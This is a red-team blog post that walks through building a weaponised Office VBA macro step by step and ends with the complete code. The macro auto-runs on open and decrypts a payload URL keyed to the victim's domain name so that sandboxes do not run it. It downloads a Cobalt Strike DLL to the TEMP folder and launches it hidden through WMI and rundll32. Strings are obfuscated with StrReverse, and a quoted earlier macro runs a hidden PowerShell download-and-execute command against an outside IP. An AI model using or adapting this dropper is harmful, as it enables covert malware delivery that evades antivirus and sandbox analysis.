Hunnic Cyber - Logo

VBA Macro with Environmental Keying and Encryption

In a previous post we discussed and put together a very basic word macro that would connect back to a Cobalt Strike Teamserver.

In this post we are going to expand upon the last in two areas:

1. Obfuscation
2. Keying

Originally we instructed the macro to create a process to start PowerShell and download a stager from Cobalt Strike. Given that this form of attack is now picked up by quite a few host based antivrus solutions, we are going to download a Cobalt Strike dll, write it to the TEMP directory and execute it instead.

Therefore we are going to have to adapt our macro to download the dll, and ensure that it is proxy aware. We are also going to obfuscate the URL and finally key the decryption to an environmental variable.

We are going to use an existing XOR encryptor/decryptor which can be grabbed from here

The actual function which performs the encryption and decryption is this:

Function XorC(ByVal sData As String, ByVal sKey As String) As String
Dim l As Long, i As Long, byIn() As Byte, byOut() As Byte, byKey() As Byte
Dim bEncOrDec As Boolean

If Len(sData) = 0 Or Len(sKey) = 0 Then XorC = "Invalid argument(s) used": Exit Function

If Left$(sData, 3) = "xxx" Then
bEncOrDec = False
sData = Mid$(sData, 4)
Else
bEncOrDec = True
End If

byIn = sData
byOut = sData
byKey = sKey
l = LBound(byKey)
For i = LBound(byIn) To UBound(byIn) - 1 Step 2
byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - bEncOrDec
l = l + 2
If l > UBound(byKey) Then l = LBound(byKey)
Next i
XorC = byOut
If bEncOrDec Then XorC = "xxx" & XorC
End Function

Now we are going to test encrypting a string, which will in our case be a URL pointing to a dll, and key it to an environmental variable that is present on our workstation. You can use this excel workbook to encrypt your URL here.

If we next open cmd.exe and type set, we can see all the environmental variables configured. In my case, owing to it being a small Active Director lab, I am going to key it to KALLOBANK which is the USERDOMAIN variable:

You will begin to see that this can be pretty useful in a Red Team or CBEST engagement where you need to ensure that the payload only decrypts inside the organization's network.

Furthermore, if there are any sandbox tests taking place on incoming attachments or downloads, it is unlikely that the sandbox will be domain joined and therefore it will not execute.

Now clearly we would to encrypt the location of our malicious dll.

I will assume that you are able to generate a stage-less 64 bit dll with Cobalt Strike, and host it. For this example I am just going to use my own local environment to host the dll.

Therefore the URL I would want to encrypt is http://172.20.10.2/test.dll.

As I am going to be attacking the mini A.D. lab I am now going to key the real URL to the USERDOMAIN variable.

This results in an encrypted string.

So we have now encrypted a string to a specific key, in this case the USERDOMAIN variable in my A.D lab.

Next we need to build the marco so that it uses the function we borrowed, and will look for the key in the environment but for now however let's harcdode the key and merely prompt a message box to see if it has been decrypted successfully.

If we added the following code, above the encryption function:

Sub Dec()

Dim sKey As String
Dim payload As String
Dim Value As String

sKey = "KALLOBANK"
payload = "xxx$69=vno€}zp}btraze6*@<m&#("

Value = XorC(payload, sKey)
MsgBox Value

End Sub

We can see that in sKey we have hardcoded the key, and in payload we have entered the encrypted string.

Value actually calls the function Xorc and reverses the payload using the hardcoded key.

So let's run this macro and we should see the following:

NOTE: in this screen-shot excel generated an unknown character after zp which caused issues but I will get to that later

Now let's move onto actually making a proxy aware web request to download the dll at that location we encrypted and then to write it to the Temp folder and time stamp it.

This next piece of code will do exactly that:

Dim namePrefix As String
Dim nameSuffix As String

namePrefix = "test"
nameSuffix = ".dll"

Dim zzz As String
Dim dollop As Object
Dim dstPath As String
Dim savePath As String
zzz = Value
Dim downloadf
Dim bStrm
Dim filename
Set downloadf = CreateObject("Microsoft.XMLHTTP")
downloadf.Open "GET", zzz, False
downloadf.Send
Set dollop = CreateObject("Adodb.Stream")
dollop.Type = 1
dollop.Open
dollop.Write downloadf.responseBody
dstPath = Environ$("TEMP") & "\" & namePrefix & "_" & DateDiff("s", #1/1/1970#, Now()) & nameSuffix
savePath = dstPath
dollop.savetofile savePath, 2

As we can see we set the url (zzz) to the value we decrypted in the earlier segment of code. We specify the name prefix and suffix, before making a request to the url (zzz) and then downloading it the location %TEMP%\test_(timestamp_here).dll.

So now if we go to the TEMP folder we should see the following:

Next step is to actually create a rundll32 process, and specify an entry point and we should then see a beacon from the domain joined box.

If you look back at the previous blog post we used the following code to create a PowerShell process:

Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "powershell.exe -nop -w hidden -c IEX ((New-Object Net.WebClient).DownloadString('http://185.77.66.73:80/a'))", Null, objConfig, intProcessID
End Function

We are now going to modify this and take the the destination path, and use that to create a rundll32 process and to specify the entry point (in Cobalt Strike the entry point you need to specify is Start). The below code will do this nicely:

Const HIDDEN_WINDOW = 0
strComputer = "."
abc = "rundll32" & " " & dstPath & ",Start"
strGetObject = ("winmgmts:\\.\root\cimv2")
Set objWMIService = GetObject(strGetObject)
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject(strGetObject & (":Win32_Process"))
objProcess.Create abc, Null, objConfig, intProcessID

abc specifies the command we wish to run, taking the destination path that we wrote to earlier, and objProcess.Create starts the process.

The penultimate bit we need to add before testing in the A.D. lab is to remove the hardcoded key:

sKey = "KALLOBANK"

We want the code the read the USERDOMAIN variable, which we can achieve by doing this:

sKey = UCase(Environ("USERDOMAIN"))

Lastly we want to auto open the macro when opened (note on Word and Excel this is slightly different - as I am using excel it would be Auto_Open() whilst on Word it would be AutoOpen() ):

Sub Auto_Open()
Run
End Sub

So the final macro would look like this:

Sub Run()
Dim sKey As String
Dim payload As String
Dim Value As String
Dim Value2 As String
Dim URL As String
Dim namePrefix As String
Dim nameSuffix As String
Dim zzz As String
Dim dollop As Object
Dim dstPath As String
Dim savePath As String
Dim abc As String

namePrefix = "test"
nameSuffix = ".dll"
sKey = UCase(Environ("USERDOMAIN"))
payload = "xxx$69=vno€}zp}btraze6*@<m&#("

Value = XorC(payload, sKey)

zzz = Value
Dim downloadf
Dim bStrm
Dim filename
Set downloadf = CreateObject(StrReverse("PTTHLMX.tfosorciM"))
downloadf.Open "GET", zzz, False
downloadf.Send
Set dollop = CreateObject(StrReverse("maertS.bdodA"))
dollop.Type = 1
dollop.Open
dollop.Write downloadf.responseBody
dstPath = Environ$("TEMP") & "\" & namePrefix & "_" & DateDiff("s", #1/1/1970#, Now()) & nameSuffix
savePath = dstPath
dollop.savetofile savePath, 2

Const HIDDEN_WINDOW = 0
strComputer = "."
abc = StrReverse("23lldnur") & " " & dstPath & ",Start"
strGetObject = StrReverse("2vmic\toor\.\\:stmgmniw")
Set objWMIService = GetObject(strGetObject)
Set objStartup = objWMIService.Get(StrReverse("putratSssecorP_23niW"))
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject(strGetObject & StrReverse("ssecorP_23niW:"))
objProcess.Create abc, Null, objConfig, intProcessID

End Sub
'
Function XorC(ByVal sData As String, ByVal sKey As String) As String
Dim l As Long, i As Long, byIn() As Byte, byOut() As Byte, byKey() As Byte
Dim bEncOrDec As Boolean

If Len(sData) = 0 Or Len(sKey) = 0 Then XorC = "Invalid argument(s) used": Exit Function

If Left$(sData, 3) = "xxx" Then
bEncOrDec = False
sData = Mid$(sData, 4)
Else
bEncOrDec = True
End If

byIn = sData
byOut = sData
byKey = sKey
l = LBound(byKey)
For i = LBound(byIn) To UBound(byIn) - 1 Step 2
byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - bEncOrDec
l = l + 2
If l > UBound(byKey) Then l = LBound(byKey)
Next i
XorC = byOut
If bEncOrDec Then XorC = "xxx" & XorC
End Function

Sub Auto_Open()
Run
End Sub

Now let's test the macro in the Active Directory domain joined workstation:

We can see that we get a beacon:

Whilst doing this specific macro and blog post i worked across a laptop and desktop. There were obviously some differences that are not immediately clear to me, but the decrypt function was generating some unknown characters in excel which proved troublesome to copy and paste.

Therefore in the next blog post, I will be showing you how to take this macro further, and use multiple keys, and base64 encode the encrypted string that we create.

Also it would be clear to you that as opposed to downloading a dll, the macro is easy to modify to encrypt any command and to subsequently run that process.